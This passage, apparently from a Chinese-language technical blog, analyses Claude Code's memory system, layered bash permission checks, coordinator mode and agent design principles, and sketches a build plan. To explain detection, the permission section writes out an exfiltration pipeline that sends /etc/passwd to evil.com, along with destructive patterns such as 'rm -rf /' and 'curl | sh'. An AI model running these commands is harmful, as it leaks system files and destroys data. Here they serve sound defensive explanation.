- **自动整理是正确的**。让用户手动管理记忆不现实，自动提取+整理是正道
- **记忆检索是语义化的**。不是简单关键词匹配，而是根据当前上下文找相关记忆
- **记忆有生命周期**。`memoryAge` 管理过期和降权，避免记忆库无限膨胀

**差在哪：**
- **记忆质量不可控**。自动提取可能记住了不该记的，或者漏掉了该记的
- **没有记忆冲突解决**。如果新旧记忆矛盾，怎么处理？代码里没有看到明确的策略
- **跨项目记忆隔离策略不清晰**。一个项目里的记忆会不会泄漏到另一个项目？

### 对我们的启发

1. **记忆整理要自动化，但要有审计**。自动提取没问题，但要让用户能看到和编辑记忆
2. **记忆要有生命周期**。过期的自动降权或清理，别让记忆库变成垃圾堆
3. **语义检索优于关键词**。根据当前上下文做 embedding 匹配，比关键词匹配准确得多
4. **记忆隔离是刚需**。项目间、敏感信息间的隔离必须做

### 架构图

```
┌──────────────────────────────────────────────────────┐
│                    Memory System                      │
│                                                       │
│  ┌────────────┐     ┌──────────────────┐             │
│  │  Session    │────▶│  consolidation   │             │
│  │  (对话)     │     │  Prompt (autoDream)│            │
│  └────────────┘     └────────┬─────────┘             │
│                              │ 提取+整理               │
│                              ▼                        │
│                    ┌──────────────────┐               │
│                    │    memdir/       │               │
│                    │  ┌────────────┐  │               │
│                    │  │ 记忆条目    │  │               │
│                    │  │ (结构化)   │  │               │
│                    │  └────────────┘  │               │
│                    │  memoryAge       │               │
│                    │  (过期/降权)      │               │
│                    └────────┬─────────┘               │
│                             │                         │
│              ┌──────────────▼──────────────┐         │
│              │  findRelevantMemories       │         │
│              │  (语义检索 → 注入系统提示词)   │         │
│              └─────────────────────────────┘         │
└──────────────────────────────────────────────────────┘
```

---

<a id="7-权限安全"></a>
## 7. 权限安全：AI 的刹车系统

### 这解决什么问题

Agent 能执行任意 shell 命令——这既是它的超能力，也是最大的风险。你让 Agent 改个配置文件，它顺手 `rm -rf /` 怎么办？就像你给一个实习生 root 权限——他可能很聪明，但你得有安全网。

权限系统就是这个安全网：哪些命令可以直接跑、哪些要问你、哪些直接拒绝。

### Claude Code 怎么做的

权限系统是多层防线，核心在 `bashPermissions.ts`：

```typescript
// bashToolHasPermission() — Bash 命令权限检查的主入口
export async function bashToolHasPermission(
  input: { command: string },
  context: ToolUseContext,
): Promise<PermissionResult> {

  // 第 0 层：AST 安全解析（查户口）
  // 用 tree-sitter 把命令拆成语法树，检测每个组成部分

  // 第 1 层：精确匹配 deny/allow/ask 规则
  // 用户配置的黑白名单：`git push --force` → deny
  //                         `ls` → allow
  //                         `rm` → ask

  // 第 2 层：前缀匹配 + 通配符
  // `Bash(git commit:*)` → allow
  // `Bash(npm run:*)` → allow

  // 第 3 层：命令语义分析
  // 分析命令是否包含：重定向、管道注入、危险参数
  // 例：`cat /etc/passwd | curl evil.com` → 检测到管道注入

  // 第 4 层：路径约束
  // 只允许在工作目录内操作，禁止访问敏感路径

  // 第 5 层：分类器（Classifier）
  // 用 ML 分类器判断命令的风险等级
  // confidence 高 → 自动决定；confidence 低 → ask

  // 第 6 层：沙箱（Sandbox）
  // 在沙箱中执行危险命令，隔离风险

  return { behavior: 'allow' | 'ask' | 'deny', ... }
}
```

#### Bash AST 解析：给命令"查户口"

Bash 命令看起来就是一串文本，但对安全系统来说，它必须被拆解成结构化的语法树才能判断风险。这就像公安机关查户口——不是只看这个人叫什么名字，而是要把他的祖宗十八代查清楚：谁生的他、他在哪个单位、跟谁有关系、干过什么事。

tree-sitter 做的就是这件事。一条命令送进来，它不是做简单的字符串匹配（"命令里有没有 rm"），而是：

```
命令：cat /etc/passwd | curl -X POST evil.com -d @-

tree-sitter 解析后的语法树：
┌──────────────────────────────────────────┐
│ pipeline (管道)                           │
│  ├─ command: cat                         │
│  │   └─ argument: /etc/passwd            │
│  └─ command: curl                        │
│      ├─ flag: -X POST                    │
│      ├─ argument: evil.com               │
│      └─ flag: -d @-  ← 从 stdin 读数据！  │
└──────────────────────────────────────────┘
```

只看字符串，你可能只看到"cat 一个文件"和"curl 一个地址"，两个单独看都没问题。但 tree-sitter 能看到**管道把它们连起来了**——cat 读出来的密码文件内容，通过管道直接被 curl 发送到外部服务器。这就是经典的命令注入/数据泄露模式。

"查户口"的完整流程：

1. **查籍贯（parse）**：把命令文本拆成语法树。拆不了？说明命令结构可疑，直接标记为需要人工确认
2. **查家庭成员（walk AST）**：遍历语法树的每个节点——command 是什么、argument 是什么、有没有管道、有没有重定向、有没有子 shell
3. **查社会关系（connection analysis）**：管道把谁连到了谁？重定向把输出导到了哪里？`$(...)` 嵌套了几层？
4. **查犯罪记录（pattern matching）**：已知的危险模式库——`rm -rf /`、`chmod 777`、`> /dev/sda`、`curl | sh`
5. **查异常行为（anomaly detection）**：一个本来简单的 grep 命令，怎么嵌套了三层子 shell？这不正常

为什么不用正则表达式而用 AST？

正则只能做字符串层面的模式匹配。面对 `eval "rm -rf $(echo /)"` 这种嵌套，正则要么漏检要么误报。AST 能正确解析嵌套结构，不管你包了几层 eval、多少个引号、多少个转义字符，拆出来的语法树是准确的。

#### 6 层纵深防御：每层都有独立判断力

上面列了 6 层，但它们不是简单的"全过了才放行"。每层都有独立的决策权：

| 层 | 名称 | 做什么 | 决策权 | 类比 |
|---|------|--------|--------|------|
| 0 | AST 解析 | 拆语法树，检测结构异常 | 解析失败 → 拒绝 | 海关验护照——护照都看不懂，直接不让进 |
| 1 | 精确匹配 | 用户配置的黑白名单 | 命中 → 直接决定 | 黑名单上的人——不管别的，就是不让进 |
| 2 | 前缀匹配 | `git commit:*` → allow | 命中 → 直接决定 | VIP 通道——认识这张脸，直接放行 |
| 3 | 语义分析 | 检测管道注入、重定向、危险参数 | 发现异常 → 拒绝或 ask | 安检扫描——包里有可疑物品，开包检查 |
| 4 | 路径约束 | 只允许工作目录内操作 | 越界 → 拒绝 | 围栏——你只能在这个区域活动 |
| 5 | ML 分类器 | 综合判断风险等级 | confidence 高 → 决定，低 → ask | 经验丰富的安检员——说不清就叫主管 |

设计要点：

- **任何一层拒绝，整条命令就死了**。不是"6 层都过了才执行"，而是"任何一层说不行就不行"。这就是纵深防御的精髓——攻击者必须突破所有层，而不是只需要绕过一层
- **Fail-safe 默认值是"拒绝"**。解析失败？拒绝。分类器不确定？ask（不直接放行）。规则没覆盖？默认 ask。宁可多问一次用户，也不能默认放行
- **层与层之间是独立的**。AST 解析不依赖规则库，规则不依赖分类器。即使分类器被对抗样本骗了，AST 层和规则层仍然能挡住已知攻击模式
- **层层递进，逐步放行**。Layer 0 保证命令结构合法，Layer 1-2 处理明确的白名单，Layer 3-4 分析语义和路径，Layer 5 兜底判断。从粗到细，从快到慢

权限模式（PermissionMode）：
- `default`：标准权限，高风险操作需要确认
- `planMode`：只读模式，不允许任何修改操作
- `bypassPermissions`：跳过所有权限检查（仅特殊场景）
- `autoMode`：自动模式，根据分类器自动决定

每种工具都有自己的权限类型标注：
- `isReadOnly`：只读工具（Grep、Glob、FileRead）默认允许
- `isDestructive`：危险工具（FileWrite、Bash 中的 rm）需要额外确认
- `isConcurrencySafe`：并行安全工具可以批量执行

### 评价

**好在哪：**
- **6 层防线，纵深防御**。不是靠单一检查，而是 AST 解析→规则匹配→语义分析→路径约束→分类器→沙箱，层层递进
- **规则系统灵活**。支持精确匹配、前缀匹配、通配符，用户可以细粒度配置
- **tree-sitter 做 AST 解析**。比正则表达式可靠得多，能正确处理嵌套引号、管道、重定向
- **分类器+规则的混合决策**。规则覆盖不了的用分类器兜底，分类器不确定的 ask

**差在哪：**
- **规则系统复杂度爆炸**。精确匹配、前缀、通配符、env var 过滤、wrapper 剥离——组合起来调试非常痛苦
- **分类器是黑盒**。用户不知道为什么某个命令被 allow 或 deny，缺乏可解释性
- **沙箱不是默认开启**。默认在宿主机上执行，沙箱是可选的——大多数用户可能根本没开

### 对我们的启发

1. **安全必须纵深防御**。单点检查一定会被绕过，多层防线是唯一可靠的方案
2. **规则系统要简单**。Claude Code 的规则系统太复杂了——精确匹配+前缀+通配符+env var+wrapper，建议简化为"命令前缀白名单 + 危险命令黑名单"
3. **分类器是必要的补充**。规则覆盖不了所有场景，ML 分类器可以兜底。但要给用户看分类器的判断理由
4. **沙箱应该默认开启**。在容器里跑命令的成本远小于在宿主机上跑 rm -rf 的风险

### 架构图

```
┌──────────────────────────────────────────────────────┐
│              Permission System Layers                 │
│                                                       │
│  Bash 命令提交                                         │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 0: AST 解析 (tree-sitter)             │   │
│    │  检测命令注入、复杂结构、解析失败               │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 1: 精确匹配规则                        │   │
│    │  deny / allow / ask 黑白名单                 │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 2: 前缀 + 通配符                      │   │
│    │  Bash(git commit:*) → allow                 │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 3: 语义分析                           │   │
│    │  管道注入、重定向、危险参数检测                 │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 4: 路径约束                           │   │
│    │  工作目录内操作，禁止敏感路径                   │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 5: ML 分类器                          │   │
│    │  自动判断风险等级 (confidence-based)           │   │
│    └────┬────────────────────────────────────────┘   │
│         │                                             │
│    ┌────▼────────────────────────────────────────┐   │
│    │  Layer 6: 沙箱执行                           │   │
│    │  容器隔离，限制风险                            │   │
│    └─────────────────────────────────────────────┘   │
│                                                       │
│  结果：allow → 直接执行 | ask → 弹窗确认 | deny → 拒绝 │
└──────────────────────────────────────────────────────┘
```

---

<a id="8-coordinator"></a>
## 8. Coordinator：多 Agent 的调度中心

### 这解决什么问题

当你同时有 5 个子 Agent 在跑——一个在查 bug、一个在改代码、一个在跑测试、一个在查文档、一个在写报告——你需要一个"项目经理"来协调它们。谁先谁后、谁等谁的结果、失败了怎么办、结果怎么汇总？

Coordinator 就是这个项目经理：它自己不干活，只调度工人。

### Claude Code 怎么做的

Coordinator 是一个专门的系统提示词模式，通过环境变量 `CLAUDE_CODE_COORDINATOR_MODE` 开启。核心在 `coordinatorMode.ts`：

```typescript
// coordinatorMode.ts — Coordinator 的核心调度逻辑

// 协调者能用的工具只有三个：派工人、继续工人、停止工人
const COORDINATOR_TOOLS = ['AgentTool', 'SendMessageTool', 'TaskStopTool'];

// Continue vs. Spawn 决策：根据上下文重叠度判断
function shouldContinueWorker(
  task: TaskDescription,
  existingWorkers: Worker[]
): 'continue' | 'spawn' {
  const bestMatch = findBestWorker(task, existingWorkers);

  if (!bestMatch) return 'spawn';                    // 没有合适的工人

  const overlap = computeContextOverlap(task, bestMatch.context);

  if (overlap > 0.7) return 'continue';              // 高重叠 → 继续
  return 'spawn';                                     // 低重叠 → 派新的
}

// 工人完成后，协调者汇总结果
async function handleWorkerComplete(notification: TaskNotification) {
  // notification 格式：<task-notification> XML
  const { taskId, status, summary, result, usage } = parseNotification(notification);

  if (status === 'completed') {
    // 汇总到主结果池，准备下一轮调度
    resultPool.merge(taskId, result);
    logUsage(usage);
  } else {
    // 失败 → 决定重试、换方法、还是告诉用户
    await handleFailure(taskId, result);
  }
}
```

最有价值的设计是 **Continue vs. Spawn** 决策：

```
研究探索的文件和要改的文件一样 → Continue（继续同一个工人）
研究很广但实现很窄 → Spawn fresh（派新工人，避免噪声）
修正失败或扩展最近工作 → Continue（工人有错误上下文）
验证别人写的代码 → Spawn fresh（新鲜视角）
第一版用了完全错的方法 → Spawn fresh（清空重来）
完全无关的任务 → Spawn fresh
```

工人通知机制用 XML 格式：
```xml
<task-notification>
  <task-id>agent-a1b</task-id>
  <status>completed</status>
  <summary>Agent "Investigate auth bug" completed</summary>
  <result>Found null pointer in src/auth/validate.ts:42...</result>
  <usage>
    <total_tokens>N</total_tokens>
    <tool_uses>N</tool_uses>
    <duration_ms>N</duration_ms>
  </usage>
</task-notification>
```

### 评价

**好在哪：**
- **调度逻辑全在提示词里**。没有硬编码的工作流引擎，靠 LLM 理解和执行调度规则。这很"Agent"——用 AI 管理 AI
- **Continue vs. Spawn 决策框架非常实用**。这个二维判断（上下文重叠度高不高）比任何硬编码规则都灵活
- **"汇总是协调者最重要的工作"**。这条规则防止了"工人直接向工人汇报"的死循环——所有信息流经协调者
- **并行是默认**。"Workers are async. Launch independent workers concurrently."——把并行写进系统提示词，而不是靠代码实现

**差在哪：**
- **纯提示词调度有上限**。复杂的工作流依赖（DAG）用提示词表达很脆弱，LLM 可能理解错依赖关系
- **没有超时和资源管理**。提示词里没提到工人超时、token 预算、并发数量限制
- **Scratchpad 机制太简单**。工人间共享信息靠文件系统，没有结构化的消息队列

### 对我们的启发

1. **协调者不干活，只调度**。这个角色分离是关键——协调者的 token 应该花在分析和调度上，不是花在执行上
2. **Continue vs. Spawn 是核心决策**。上下文重叠度是判断标准——重叠高就继续，低就新建。这个框架可以复用
3. **通知机制要标准化**。XML 格式的 task-notification 比自由文本可靠，便于解析和处理
4. **并行要写进系统提示词**。不要只在代码里支持并行，要让 LLM 理解"并行是默认策略"

### 架构图

```
┌──────────────────────────────────────────────────────┐
│                    Coordinator Mode                    │
│                                                       │
│  ┌─────────────────────────────────────────────┐     │
│  │  Coordinator (协调者 - LLM)                  │     │
│  │  角色：调度、汇总、与用户沟通                   │     │
│  │  工具：AgentTool / SendMessage / TaskStop    │     │
│  └──────────┬──────────────────┬───────────────┘     │
│             │                  │                      │
│        Continue？          Spawn？                    │
│        (上下文重叠高)      (上下文重叠低)              │
│             │                  │                      │
│    ┌────────▼───┐      ┌──────▼──────┐              │
│    │ SendMessage │      │  AgentTool  │              │
│    │ (继续工人)  │      │ (派新工人)   │              │
│    └────────┬───┘      └──────┬──────┘              │
│             │                  │                      │
│    ┌────────┴──────────────────┴───────────────┐     │
│    │         Workers (工人 - 异步执行)           │     │
│    │  ┌────────┐ ┌────────┐ ┌────────┐        │     │
│    │  │Research│ │Implement│ │Verify │        │     │
│    │  │ 调研   │ │  实现   │ │  验证  │        │     │
│    │  └────────┘ └────────┘ └────────┘        │     │
│    │                                           │     │
│    │  通知格式：<task-notification> XML          │     │
│    └───────────────────────────────────────────┘     │
│                                                       │
│  工作流：Research(并行) → Synthesis → Implement → Verify│
└──────────────────────────────────────────────────────┘
```

---

<a id="9-设计范式总结"></a>
## 9. 设计范式总结

读完 Claude Code 源码，我提炼出 10 条 Agent 产品设计原则。

### 原则 1：循环极简，复杂度外推

Agent Loop 本身应该是一个最简单的 while 循环。真正的复杂度在工具、提示词和调度策略里，不在循环结构上。越简单的循环越不容易出 bug。

**Claude Code 对应：** `query.ts` 里的主循环只有三步——调 LLM、收工具调用、执行工具。所有业务逻辑都在工具实现和系统提示词里，循环本身不包含任何领域知识。

**对其他产品的启发：** 这跟 Unix 管道的哲学一样——核心调度器保持简单，复杂性下沉到可组合的工具。如果你发现自己的 Agent Loop 超过 100 行，大概率是在循环里塞了不该塞的东西。任何 Agent 框架都应该把 loop 当作"无脑转发器"来写。

**Checklist：**
- [ ] Agent Loop 是否不超过 50 行核心代码？
- [ ] 是否所有状态都存在 messages 队列里？
- [ ] 循环是否无状态（每轮从 messages 读、往 messages 写）？
- [ ] 循环里有没有硬编码的业务逻辑？
- [ ] 循环能否在不改代码的情况下接入新工具？

### 原则 2：工具是 Agent 的手，提示词是 Agent 的脑

工具决定了 Agent 能做什么，提示词决定了 Agent 什么时候做、怎么做。花在写工具提示词上的时间，应该不少于花在写工具代码上的时间。

**Claude Code 对应：** 每个工具（`BashTool`、`FileEditTool` 等）都有详细的 `description` 和 `whenToUse` 字段。系统提示词里对每个工具的使用场景、限制条件、安全规则都做了长篇幅的说明。工具注册时必须同时提供 JSON Schema 和描述文本。

**对其他产品的启发：** 大多数 Agent 框架犯的错误是"写了个工具函数就完事了"。实际上工具描述才是产品的核心资产。ChatGPT 的 Plugin / Function Calling 生态之所以做起来了，就是因为工具描述遵循了统一的 schema 规范。你的工具描述质量，直接决定 Agent 的智商上限。

**Checklist：**
- [ ] 每个工具是否有清晰的 whenToUse 描述？
- [ ] 工具提示词是否包含安全规则和最佳实践？
- [ ] 危险操作是否在提示词里明确标注？
- [ ] 工具描述是否经过实际场景验证？
- [ ] 新工具是否经过"LLM 能不能正确理解"的测试？

### 原则 3：元信息是调度的前提

每个工具必须标注 `isReadOnly`、`isConcurrencySafe`、`isDestructive`。这些元信息直接决定了调度策略，不需要在调度层硬编码。

**Claude Code 对应：** `Tool.ts` 接口要求每个工具实现这三个布尔属性。`toolOrchestration.ts` 根据这些标注自动分区：`isReadOnly && isConcurrencySafe` 的工具并行执行，其他的串行。新增工具不需要改调度逻辑。

**对其他产品的启发：** 这其实是声明式编程的经典思路——你描述"是什么"而不是"怎么做"。Kubernetes 的 Pod label、React 的 key prop、数据库的索引 hint，本质上都是这个模式。Agent 系统里，工具元信息就是调度器的索引——没有它，调度层只能硬编码。

**Checklist：**
- [ ] 每个工具是否都有这三个标注？
- [ ] 标注是否准确（特别是并行安全性）？
- [ ] 新增工具时是否有 lint 规则检查这些标注？
- [ ] 标注是否影响了实际的调度行为？
- [ ] 是否有测试验证标注的正确性？

### 原则 4：纵深防御，不要单点信任

权限系统必须多层。靠单一检查（比如"命令前缀匹配"）一定会被绕过。AST 解析 + 规则匹配 + 分类器 + 沙箱，层层递进。

**Claude Code 对应：** `bashPermissions.ts` 实现了 6 层防御：AST 解析（tree-sitter）→ 精确匹配规则 → 前缀/通配符匹配 → 语义分析（注入检测）→ 路径约束 → ML 分类器 + 沙箱。任何一层拒绝，命令就不会执行。AST 解析失败时，默认行为是拒绝。

**对其他产品的启发：** 安全领域有一句话——"攻击者总会找到你没想到的路径"。所以不要指望一层防御挡住所有攻击。类比 Web 安全的纵深防御（WAF + CSP + CORS + 输入校验 + 输出编码），Agent 的权限系统也应该多层。特别注意：fail-safe 默认值必须是"拒绝"，不能是"允许"。

**Checklist：**
- [ ] 安全检查是否有至少 3 层？
- [ ] 是否有 fail-safe（解析失败时默认拒绝）？
- [ ] 危险操作是否有日志和审计？
- [ ] 每层防御是否有独立的绕过测试？
- [ ] 是否有定期的红队测试？

### 原则 5：上下文是消耗品，不是资产

上下文窗口会用完。多级降级（compact → reactive → collapse）是刚需。token 追踪是基础设施，不是优化项。

**Claude Code 对应：** 上下文管理模块实现了三级降级：`autoCompact`（自动压缩历史对话）→ `reactiveCompact`（响应式压缩，按需触发）→ `contextCollapse`（上下文坍缩，只保留最关键信息）。每级都有 token 预算追踪，分为任务级和轮级两层。

**对其他产品的启发：** 很多团队把上下文管理当作"优化项"，觉得先不管也能用。这是错的。上下文窗口一旦满了，Agent 就会"失忆"，之前做的所有工作都白费。上下文管理应该在产品设计阶段就考虑，而不是等到出了问题再补。就像内存管理——你不会等到 OOM 才想 GC 的事。

**Checklist：**
- [ ] 是否有 token 实时追踪？
- [ ] 是否有多级压缩/降级策略？
- [ ] 压缩边界是否有标记便于审计？
- [ ] 是否有任务级和轮级两级预算？
- [ ] 压缩后信息丢失是否有补偿机制？

### 原则 6：子 Agent 就是完整的 Agent

不要搞"轻量版"和"完整版"两套。子 Agent 复用主 Agent 的核心循环，只是输入不同。维护两套代码的成本远大于"多传几个参数"的成本。

**Claude Code 对应：** `runAgent()` 函数直接调用 `query()` 函数——子 Agent 和主 Agent 用的是同一套循环、同一套工具接口、同一套权限系统。区别只在输入参数：子 Agent 传入的是精简过的系统提示词和任务描述，而不是完整的对话历史。

**对其他产品的启发：** 这就是组合模式（Composite Pattern）在 Agent 架构里的应用。子 Agent 不是"阉割版"，而是"同一类的另一个实例"。就像递归函数——base case 和 recursive case 用同一套逻辑。AutoGPT 早期犯的错误就是子 Agent 和主 Agent 用不同逻辑，导致行为不一致、难以调试。

**Checklist：**
- [ ] 子 Agent 是否复用主 Agent 的 query 函数？
- [ ] 子 Agent 是否有完整的工具集和权限系统？
- [ ] 是否有嵌套深度限制？
- [ ] 子 Agent 的系统提示词是否经过单独优化？
- [ ] 子 Agent 的输出格式是否标准化？

### 原则 7：并行是默认，串行是例外

读操作天然并行安全，写操作需要串行。按安全性分区，能并行的并行。流式返回让并行的收益体现在用户感知上。

**Claude Code 对应：** `toolOrchestration.ts` 在收到多个工具调用时，先按 `isReadOnly` 分区：读操作全部并行（用 `Promise.all`），写操作按顺序执行。流式响应让并行的收益直接体现在用户感知上——用户不需要等所有工具执行完就能看到部分结果。

**对其他产品的启发：** 大多数 Agent 框架默认串行执行工具调用，这浪费了大量时间。并行执行的前提是工具元信息准确——你得知道哪些工具可以并行。这又回到了原则 3。流式返回也很关键：并行执行如果没有流式返回，用户感知上还是"等了很久然后一下全出来"。

**Checklist：**
- [ ] 工具调度是否自动分区（读/写）？
- [ ] 并行上限是否有合理配置？
- [ ] 流式返回是否启用？
- [ ] 并行工具之间是否有依赖检测？
- [ ] 并行失败时是否有降级到串行的机制？

### 原则 8：协调者不干活

调度和执行必须分离。协调者的 token 花在分析和调度上，不花在执行上。工人完成后汇报给协调者，协调者汇总后告诉用户。

**Claude Code 对应：** Coordinator 模式下，主 Agent（协调者）的系统提示词明确写了"你负责调度，不负责执行"。工人完成后通过标准化的 XML 通知格式汇报。协调者的工具集被限制——不能直接执行文件编辑，只能派工人。

**对其他产品的启发：** 类比工地上的工头——工头不搬砖，因为他要同时看全局：哪组人进度慢了、材料够不够、下一步先做哪个。如果工头自己也去砌墙，他就没人盯着调度了。Agent 协调者同理：token 就是注意力，花在执行细节上就没法做好调度。而且协调者和工人用同样的工具，会产生冲突（两个 Agent 同时编辑同一个文件就是灾难）。

**Checklist：**
- [ ] 协调者是否有明确的"不执行"规则？
- [ ] 工人通知是否标准化？
- [ ] Continue vs. Spawn 决策是否有框架？
- [ ] 协调者的工具集是否被限制？
- [ ] 是否有工人之间的冲突检测？

### 原则 9：记忆要自动整理，但要可审计

自动提取和整理是正道，但用户要能看到记忆、编辑记忆、删除记忆。记忆要有生命周期，过期自动降权。

**Claude Code 对应：** `memdir/` 目录存储持久化记忆。`consolidationPrompt` 在对话结束时自动从对话中提取关键信息。`findRelevantMemories` 在新对话开始时根据语义相似度检索相关记忆。记忆文件是纯文本，用户可以直接查看和编辑。

**对其他产品的启发：** 记忆系统的最大风险是"幻觉记忆"——Agent 把错误信息记住了，然后在后续对话中当作事实引用。所以可审计比自动整理更重要。用户必须能看见 Agent 记住了什么，并且能删除错误的记忆。类比搜索引擎的索引——你能搜索到什么，取决于索引里有什么；你能信任什么，取决于你能审计索引。

**Checklist：**
- [ ] 记忆是否自动从对话中提取？
- [ ] 用户是否能看到和编辑记忆？
- [ ] 记忆是否有过期机制？
- [ ] 记忆提取是否有质量检查？
- [ ] 是否有记忆冲突检测？

### 原则 10：提示词是产品，不是代码注释

工具提示词就是产品文档。它决定 LLM 的行为质量。写提示词要用产品思维——考虑用户（LLM）的理解成本、决策路径、错误恢复。

**Claude Code 对应：** Claude Code 的系统提示词经过大量迭代，每个工具的描述都包含：角色定位、使用条件、输入约束、输出格式、安全规则、常见错误、错误恢复策略。这不是"代码注释"，而是精心设计的产品文档。

**Checklist：**
- [ ] 提示词是否有明确的结构（角色→规则→示例→边界）？
- [ ] 是否包含错误处理指引？
- [ ] 是否经过实际场景测试？
- [ ] 提示词是否区分了"什么时候用"和"怎么用"？
- [ ] 是否有针对常见误用的纠偏说明？

### 原则 11：工具的 description 是给 LLM 看的产品手册

大多数 Agent 框架把工具 description 当成 API 文档来写——一行话说明这个工具干什么。但 LLM 不是程序员，它不会去猜你没写的意思。工具 description 应该是产品手册：场景 → 决策树 → 示例 → 红线。

**Claude Code 对应：** BashTool 的 description 不只是"执行 bash 命令"，而是一整套使用指南——什么时候该用 bash 而不是其他工具、git 操作的 5 步 SOP、绝对不能做的事情（NEVER force push）、并行执行的提示。FileEditTool 的 description 会根据当前编辑模式变化（insert/replace/delete），动态适配 LLM 的决策需求。

**对其他产品的启发：** 你给一个新员工写操作手册，不会只写"用 Excel 做表"。你会写"数据量小于 1000 行用 Excel，大于 1000 行用 Python，导出格式选 CSV，千万别选 XLS（兼容性差）"。LLM 就是那个新员工，工具 description 就是操作手册。写得越详细、决策路径越短，Agent 执行质量越高。反过来，description 写得模糊，Agent 就会频繁犯低级错误——不是因为模型不行，是因为你没教它。

**Checklist：**
- [ ] 工具 description 是否回答了"什么时候用"而不只是"干什么"？
- [ ] 是否包含具体的使用示例？
- [ ] 是否有明确的红线（NEVER / 不要 / 禁止）？
- [ ] description 是否区分了"怎么用"和"什么时候不该用"？
- [ ] 高风险工具的 description 是否包含 SOP 流程？

### 原则 12：上下文窗口是 Agent 的工作台，不是仓库

把 context window 想象成物理的工作台——面积有限，你只能在上面放正在用的东西。用完的文件要收进抽屉（持久化记忆），不重要的草稿要扔掉（compact），新的任务要用新空间。

**Claude Code 对应：** Claude Code 的多级降级（compact → reactive → context collapse）本质上是在管理工作台空间。Prompt caching 的前缀复用是"把常用的工具固定放在桌角"——不挪位置就能快速拿到。Compact 是"把桌上堆了三天的旧文件收起来，写个标签"。Context collapse 是"桌子彻底满了，只好把所有东西都扫到地上，只留正在用的那一件"。

**对其他产品的启发：** 上下文里无关信息越多，LLM 的注意力越分散，决策质量反而下降（"Lost in the Middle"效应）。正确的思路是"最小上下文原则"——只给 Agent 当前任务必需的信息。

**Checklist：**
- [ ] 每轮对话的 token 消耗是否有实时追踪？
- [ ] 是否遵循"最小上下文"原则（不往 context 里塞无关信息）？
- [ ] 系统提示词是否放在最前面且尽量稳定（最大化 prompt cache 命中）？
- [ ] 工具描述是否按需加载（defer / search），而不是全量塞入？
- [ ] Compact 后是否保留了最近几轮的原始对话（保护 prompt cache）？

---

<a id="10-如果我来做-agent-产品"></a>
## 10. 如果我来做 Agent 产品

基于以上分析，如果从零开始做一个 Agent 产品，我会按 6 周拆开，每周有明确的交付物和验收标准。

### 第一步：最小可行 Agent Loop（第一周）

**目标：** 能跑通"用户输入 → LLM 思考 → 工具执行 → 返回结果"的基本循环。不需要好看，能跑就行。

**目录结构：**
```
agent/
├── loop.ts              ← 核心 Agent Loop，不超过 50 行
├── types.ts             ← Message、ToolCall、ToolResult 类型定义
├── tools/
│   ├── index.ts         ← 工具注册表
│   ├── bash.ts          ← 执行 shell 命令
│   ├── file_read.ts     ← 读文件
│   ├── file_write.ts    ← 写文件
│   ├── web_search.ts    ← 搜索（先用现成 API）
│   └── todo.ts          ← 待办管理
├── llm.ts               ← LLM 调用封装（支持流式）
└── index.ts             ← 入口，CLI / HTTP 都行
```

**核心代码结构：**
```typescript
// loop.ts —— 这就是整个 Agent Loop
async function* agentLoop(messages: Message[], tools: Tool[]): AsyncGenerator<StreamEvent> {
  while (true) {
    // 1. 调 LLM（流式）
    const response = await streamLLM(messages, tools);

    // 2. 收集工具调用
    const toolCalls = collectToolCalls(response);

    if (toolCalls.length === 0) {
      // LLM 决定不再调工具，对话结束
      yield { type: 'done', content: response.text };
      return;
    }

    // 3. 执行工具（先全部串行，后面再优化）
    for (const call of toolCalls) {
      const tool = tools.find(t => t.name === call.name);
      const result = await tool.execute(call.args);
      messages.push({
        role: 'tool',
        tool_call_id: call.id,
        content: JSON.stringify(result)
      });
      yield { type: 'tool_result', call, result };
    }
  }
}
```

**工具接口定义：**
```typescript
// types.ts
interface Tool {
  name: string;
  description: string;        // 给 LLM 看的描述
  parameters: JSONSchema;     // 参数 schema
  isReadOnly: boolean;        // 后面会用到
  isConcurrencySafe: boolean; // 后面会用到
  isDestructive: boolean;     // 后面会用到
  execute(args: Record<string, unknown>): Promise<ToolResult>;
}
```

**验收标准：**
- [ ] 命令行输入一句话，能返回 LLM 的回复
- [ ] LLM 能调用至少 3 个工具
- [ ] 工具调用结果能正确返回给 LLM
- [ ] 支持流式输出
- [ ] 能处理工具执行异常（不崩）

### 第二步：工具系统（第二周）

**目标：** 让工具系统真正可用——描述准确、参数校验、错误恢复。

**核心改造：**

```typescript
// tools/base.ts —— 抽象基类
abstract class BaseTool implements Tool {
  abstract name: string;
  abstract description: string;
  abstract parameters: JSONSchema;

  // 元信息标注——后面调度会用
  abstract isReadOnly: boolean;
  abstract isConcurrencySafe: boolean;
  abstract isDestructive: boolean;

  // 参数校验——在 execute 之前做
  validate(args: Record<string, unknown>): ValidationResult {
    return validateSchema(this.parameters, args);
  }

  // 执行——子类实现
  abstract execute(args: Record<string, unknown>): Promise<ToolResult>;

  // 描述生成——自动从 metadata 生成给 LLM 的描述
  getDescription(): string {
    return `
${this.description}

参数：
${formatSchema(this.parameters)}

元信息：
- 只读：${this.isReadOnly}
- 并行安全：${this.isConcurrencySafe}
- 破坏性操作：${this.isDestructive}

${this.isDestructive ? '⚠️ 这是破坏性操作，执行前请确认。' : ''}
    `.trim();
  }
}
```

**工具注册改为声明式：**
```typescript
// tools/index.ts
const TOOL_REGISTRY: Map<string, Tool> = new Map();

function registerTool(tool: Tool): void {
  // lint 检查：必须有三个元信息标注
  if (tool.isReadOnly === undefined || tool.isConcurrencySafe === undefined || tool.isDestructive === undefined) {
    throw new Error(`Tool ${tool.name} missing metadata annotations`);
  }
  TOOL_REGISTRY.set(tool.name, tool);
}

// 注册
registerTool(new BashTool());
registerTool(new FileReadTool());
registerTool(new FileWriteTool());
registerTool(new WebSearchTool());
registerTool(new TodoTool());

// 自动生成给 LLM 的工具列表
function getToolDescriptions(): string[] {
  return Array.from(TOOL_REGISTRY.values()).map(t => t.getDescription());
}
```

**验收标准：**
- [ ] 所有工具有完整的 JSON Schema 定义
